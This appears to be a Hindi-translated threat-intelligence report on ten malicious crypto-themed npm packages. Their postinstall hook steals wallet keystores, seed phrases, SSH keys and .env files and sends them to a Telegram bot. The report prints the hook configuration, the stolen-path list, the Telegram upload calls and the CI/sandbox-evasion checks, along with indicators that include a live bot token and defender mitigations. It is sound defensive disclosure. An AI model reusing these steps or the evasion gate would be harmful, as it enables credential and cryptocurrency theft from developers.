TL, डॉ
9 जून 2026 को एक एकल एनपीएम प्रकाशक खाता, aicrypto-xzggg, लादा गया दस पैकेज क्रिप्टो और वेब3 से प्रेरित नामों के साथ — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9और छह और।
प्रत्येक पैकेज एक ही पेलोड को एक ही स्रोत से चलाता है। postinstall यह हुक इंस्टॉल होने पर जांच करता है कि यह CI के अंदर चल रहा है या सैंडबॉक्स में - यदि नहीं, तो यह वॉलेट कीस्टोर्स, सीड-फ्रेज़ फ़ाइलें, SSH कुंजी और अन्य फ़ाइलों को पढ़ता है। .env यह छह ब्लॉकचेन इकोसिस्टम से फाइलें एकत्र करता है और उन्हें एक टेलीग्राम बॉट को भेजता है।
बचावकर्ता तुरंत जिस एक संकेत की तलाश कर सकता है, वह है टेलीग्राम बॉट आईडी। 8227918239.
तीव्रता: महत्वपूर्ण हस्ताक्षर कुंजी और पुनर्प्राप्ति वाक्यांशों की प्रत्यक्ष चोरी डेवलपर वर्कस्टेशन.
हमला: यह कैसे काम करता है
ये पैकेज खुद को ब्लॉकचेन डेवलपर यूटिलिटीज के रूप में विज्ञापित करते हैं। package.json यह न्यूनतम है और इंस्टॉलेशन लाइफसाइकिल को एक स्क्रिप्ट की ओर निर्देशित करता है:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" } scripts/postinstall.js यह एक सिंगल-लाइन शिम है जो वास्तविक पेलोड को लोड करता है: require(“../src/index.js”)। इसलिये पोस्टइंस्टॉल यह स्वचालित रूप से चलता है एनएमपी स्थापित करेंइसके लिए डेवलपर द्वारा किसी कोड को इंपोर्ट करने की आवश्यकता नहीं है - पैकेज को डिपेंडेंसी ट्री में रखना ही इसे निष्पादित करने के लिए पर्याप्त है।
अंदर की हत्या श्रृंखला src/index.js इसमें चार चरण हैं:
- पर्यावरण जांच। एक गार्ड फ़ंक्शन यह तय करता है कि होस्ट बिल्ड एजेंट जैसा दिखता है या विश्लेषण सैंडबॉक्स जैसा।
- विलंब। निष्पादन को एक के पीछे स्थगित कर दिया गया है सेटटाइमआउट लगभग 7.4 सेकंड का।
- संग्रह। वॉलेट, कुंजी और गुप्त फ़ाइल पथों की एक निश्चित सूची की जाँच की जाती है; मौजूदा फ़ाइलों को कतार में रखा जाता है।
- पलायन। कतार में लगी फाइलें एक सारांश संदेश के साथ टेलीग्राम बॉट को भेजी जाती हैं।
संग्रह लक्ष्य सूची में छह श्रृंखलाएँ और सामान्य डेवलपर रहस्य शामिल हैं। संक्षिप्त:
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.local कुल इक्कीस पथ। निर्देशिका प्रविष्टियाँ जैसे कि ~/.ethereum/keystore फ़ाइलों का विस्तार किया जाता है और उनके अंदर की प्रत्येक फ़ाइल को कतार में डाल दिया जाता है। डेटा लीक करने के लिए सीधे टेलीग्राम बॉट एपीआई का उपयोग किया जाता है। मेसेज भेजें होस्ट और फ़ाइल सारांश के साथ कॉल करें, फिर एक दस्तावेज़ भेजें प्रत्येक फ़ाइल के लिए बहु-भाग अपलोड:
टेक्स्ट
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file) कोड द्वारा तैयार किया गया सारांश संदेश शाब्दिक स्ट्रिंग से शुरू होता है। क्रिप्टो चोरइसके बाद होस्टनाम, उपयोगकर्ता नाम, मूल पैकेज का नाम, फ़ाइल संख्या और टाइमस्टैम्प आता है।
यहां नया क्या है?
मुख्य अंतर चोरी की प्रक्रिया नहीं है — टेलीग्राम आधारित npm से डेटा निकासी पोस्टइंस्टॉल hooks यह बहुत घिसा-पिटा है। यह है फांसी का द्वार। कुछ भी करने से पहले, पेलोड एक फ़ंक्शन को कॉल करता है जो तब true लौटाता है जब होस्ट एक CI रनर या सैंडबॉक्स जैसा दिखता है, और ऐसा होने पर समय से पहले ही वापस लौट जाता है:
टेक्स्ट
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape) कंटेनर-आईडी रेगुलर एक्सप्रेशन उल्लेखनीय खंड है: 12-हेक्स-कैरेक्टर का होस्टनाम वह डिफ़ॉल्ट आकार है जो डॉकर असाइन करता है। कंटेनरइसलिए, पेलोड "मेरा होस्टनाम डॉकर कंटेनर जैसा दिखता है" को निष्क्रिय रहने का कारण मानता है। सात सेकंड की देरी के साथ, यह डिज़ाइन डेवलपर के वास्तविक वर्कस्टेशन पर चलने और स्वचालित विश्लेषण जैसी किसी भी जगह पर चुपचाप रहने को प्राथमिकता देता है। यही वह बाधा है जिसने गतिशील विश्लेषण संकेतों को दबा दिया और स्थिर डेटा निकासी प्रवाह को प्राथमिक प्रमाण के रूप में बनाए रखा।
समयरेखा
| दिनांक (UTC) | कार्यक्रम |
|---|---|
| 2026-06-09 ~02:48 | प्रकाशन के समय क्लस्टर में पहले पैकेजों को चिह्नित किया गया (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0) |
| 2026-06-09 ~03:21–03:25 | उच्च संस्करण वाले सदस्यों को चिह्नित किया गया (ethereum-kit-9 1.25.36 पर, wallet-sdk-9 3.7.73 पर) |
| 2026-06-09 ~03:58–03:59 | अंतिम सदस्यों को चिह्नित किया गया (defi-tools-39 4.26.29 पर, swap-sdk-87 4.63.78 पर, farming-tools-12 4.68.54 पर) |
| 2026-06-09 | सभी दस को दुर्भावनापूर्ण श्रेणी में वर्गीकृत किया गया और रजिस्ट्री से हटाने के लिए रिपोर्ट किया गया। |
ये सभी दस चीजें लगभग सत्तर मिनट के भीतर सामने आईं, जो एक ही खाते से एक ही स्क्रिप्टेड प्रकाशन रन के अनुरूप है।
समझौता के संकेतक
नेटवर्क और व्यवहार संबंधी संकेतक (होस्ट के निष्क्रिय प्रभाव के बिना):
| सूचक | वैल्यू |
|---|---|
| एक्सफ़िल एंडपॉइंट | api[.]telegram[.]org (टेलीग्राम बॉट एपीआई) |
| टेलीग्राम बॉट आईडी | 8227918239 |
| बॉट टोकन | 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs |
| टेलीग्राम चैट आईडी | 6433587894 |
| हुक स्थापित करें | postinstall → scripts/postinstall.js → src/index.js |
| मार्कर स्ट्रिंग | CRYPTO STEALER संकलित सारांश संदेश में |
| प्रकाशक | aicrypto-xzggg (उल्लेखित ईमेल) vipsyria88@gmail[.]com(अपुष्ट) |
पैकेज और संस्करण, प्रत्येक अपने SHA-256 के साथ src/index.js पेलोड (पेलोड कार्यात्मक रूप से समान हैं और केवल अंतर्निहित पैकेज-नाम लेबल में भिन्न हैं, इसलिए प्रत्येक हैश अलग है):
| पैकेज | संस्करण | src/index.js का SHA-256 |
|---|---|---|
farming-tools-12 | 4.68.54 | b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4 |
swap-sdk-87 | 4.63.78 | 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c |
defi-tools-39 | 4.26.29 | ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee |
wallet-sdk-9 | 3.7.73 | ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502 |
ethereum-kit-9 | 1.25.36 | c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f |
ethereum-kit-1 | 1.0.0 | 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381 |
solana-core-4 | 1.0.0 | 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d |
web3-tools-9 | 1.0.0 | db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d |
crypto-utils-7 | 1.0.0 | 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92 |
blockchain-helper-0 | 1.0.0 | 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db |
एक सरल खोज क्वेरी: दस नामों में से किसी के लिए भी इंस्टॉलेशन लॉग और लॉकफाइलों में खोजें, और उन बिल्ड या डेवलपर होस्ट से टेलीग्राम बॉट एपीआई के कनेक्शन के लिए आउटबाउंड ट्रैफ़िक की खोज करें जो अन्यथा इसका उपयोग नहीं करते हैं।
आरोपण एवं प्रेक्षित व्यवहार
सभी दस पैकेज एक ही खाते से प्रकाशित किए गए थे। aicrypto-xzgggजिसका ईमेल पता यह है vipsyria88@gmail[.]comरजिस्ट्री मेटाडेटा में ईमेल और सोर्स-कंट्रोल लिंक दोनों की पुष्टि नहीं हुई है, और खाते का प्रतिष्ठा स्कोर बेहद नकारात्मक है। हमने अभी तक यह पुष्टि नहीं की है कि खाता कौन संचालित करता है।
किसी भी पहचान संबंधी दावे से दो बातों को अलग करना महत्वपूर्ण है। पहली बात, package.json लेखक फ़ील्ड रीड्स एलेक्स स्मिथ प्रत्येक पैकेज पर, जबकि वास्तविक प्रकाशन खाता है aicrypto-xzgggलेखक फ़ील्ड स्व-घोषित मेटाडेटा है और इससे लेखकत्व स्थापित नहीं होता है। दूसरा, संस्करण संख्याएँ बहुत भिन्न होती हैं — कुछ सदस्य अलग-अलग स्तर पर हैं। 1.0.0, अन्य पर 4.68.54 — जो वास्तविक रिलीज इतिहास को बनाए रखने के बजाय नए बनाए गए पैकेज नामों में एक ही पेलोड का पुन: उपयोग करने के अनुरूप है।
क्लस्टर में व्यवहार एकसमान है: समान लक्ष्य पथ सूची, समान टेलीग्राम बॉट आईडी और चैट आईडी, समान पर्यावरण गेट, समान क्रिप्टो चोर मार्कर। यह एकरूपता ही पैकेजों के बीच सबसे मजबूत कड़ी है। यह एक समान-ऑपरेटर सिग्नल है, पहचान नहीं।
रक्षकों के लिए प्रभाव, रुझान और मार्गदर्शन
इसका सीधा खतरा है। कोई भी डेवलपर जो किसी ऐसे वर्कस्टेशन पर इनमें से कोई भी पैकेज इंस्टॉल करता है जिसमें सॉफ्टवेयर वॉलेट, सीड-फ्रेज़ फ़ाइल या SSH कुंजी मौजूद हो, तो कुछ ही सेकंड में ये फ़ाइलें पढ़कर होस्ट से बाहर भेज दी जाती हैं। रिकवरी फ्रेज़ और साइनिंग कुंजी सेशन टोकन की तरह एक्सपायर नहीं होतीं; एक बार इंस्टॉल होने के बाद... स्मरणात्मक.txt या सोलाना id.json मशीन से बाहर निकलते ही, उसके नियंत्रण में मौजूद धनराशि तब तक जोखिम में रहती है जब तक उसे स्थानांतरित नहीं किया जाता। उसी प्रक्रिया में यह भी शामिल है: .env वे फाइलें, जिनमें आमतौर पर एपीआई कुंजी और डेटाबेस क्रेडेंशियल होते हैं।
इस क्लस्टर के पीछे दो रुझान हैं। पहला, एक विशिष्ट समूह को आकर्षित करने के लिए क्रिप्टो और वेब3-थीम वाले नामों का निरंतर उपयोग - ऐसे डेवलपर जो वॉलेट और कुंजी उसी मशीन पर रखते हैं जिस पर वे निर्भरताएँ स्थापित करते हैं। दूसरा, इंस्टॉलेशन के समय पेलोड में सैंडबॉक्स से बचने की तकनीक का परिपक्व होना। एक ऐसा गेट जो CI पर्यावरण चर, रनर उपयोगकर्ता नाम और डॉकर कंटेनर-आईडी होस्टनाम आकार की जाँच करता है, विश्लेषण के दौरान वास्तविक वर्कस्टेशन से अलग व्यवहार करने का एक जानबूझकर किया गया प्रयास है, और यह विशुद्ध रूप से गतिशील पहचान के लिए मानक को बढ़ा देता है।
रक्षकों के लिए:
स्क्रिप्ट को डिफ़ॉल्ट रूप से अक्षम करके इंस्टॉल करें। npm install –ignore-scripts, या सेट ignore-scripts=true in .npmrc, रोकता है पोस्टइंस्टॉल निष्पादन; स्क्रिप्ट को केवल उन विशिष्ट निर्भरताओं के लिए सक्षम करें जिन्हें वास्तव में उनकी आवश्यकता है।
वॉलेट और साइनिंग कीज़ को बिल्ड और डेवलपमेंट मशीनों से दूर रखें। हार्डवेयर वॉलेट या किसी समर्पित, निर्भरता-मुक्त साइनिंग होस्ट का उपयोग करें।
उपचार .env, कीस्टोर्स और सीड-फ्रेज़ फ़ाइलों को अत्यंत महत्वपूर्ण माना जाता है। इन्हें कभी भी ऐसी डायरेक्टरी में नहीं रखना चाहिए जो स्वयं भी एक हो। एनएमपी स्थापित करें काम करने वाला पेड़.
CI और डेवलपर होस्ट से Telegram Bot API के आउटबाउंड कनेक्शन की जाँच करें। अधिकतर बिल्ड एनवायरनमेंट इसे कभी कॉल नहीं करते; लेकिन अगर कोई एनवायरनमेंट इंस्टॉल होने के तुरंत बाद अचानक ऐसा करता है, तो उसकी जाँच करना ज़रूरी है।
निर्भरताओं को पिन करें और उनकी समीक्षा करें। एक बिल्कुल नया पैकेज, एक सामान्य क्रिप्टो नाम के साथ, पोस्टइंस्टॉल हुक, और लॉकफाइल में प्रवेश करने से पहले किसी भी रिपॉजिटरी लिंक को देखने की आवश्यकता नहीं है।
कंटेनर-आईडी से बचने का प्रावधान विश्लेषकों के लिए एक चेतावनी भी है: सैंडबॉक्स में निष्क्रिय पड़ा रहने वाला इंस्टॉलेशन पेलोड हानिरहित नहीं होता, बल्कि चयनात्मक होता है। इंस्टॉलेशन पथ की स्थिर समीक्षा ही वह विश्वसनीय तरीका है जिससे गतिशील निष्पादन के दौरान जो जानकारी दिखाई नहीं देती, उसे देखा जा सकता है।
संदर्भ
npm इंस्टालेशन दस्तावेज़ीकरण — लाइफसाइकल स्क्रिप्ट और -Ignore- स्क्रिप्ट— स्वचालित इंस्टॉलेशन को अक्षम करने के लिए संदर्भ hooks.





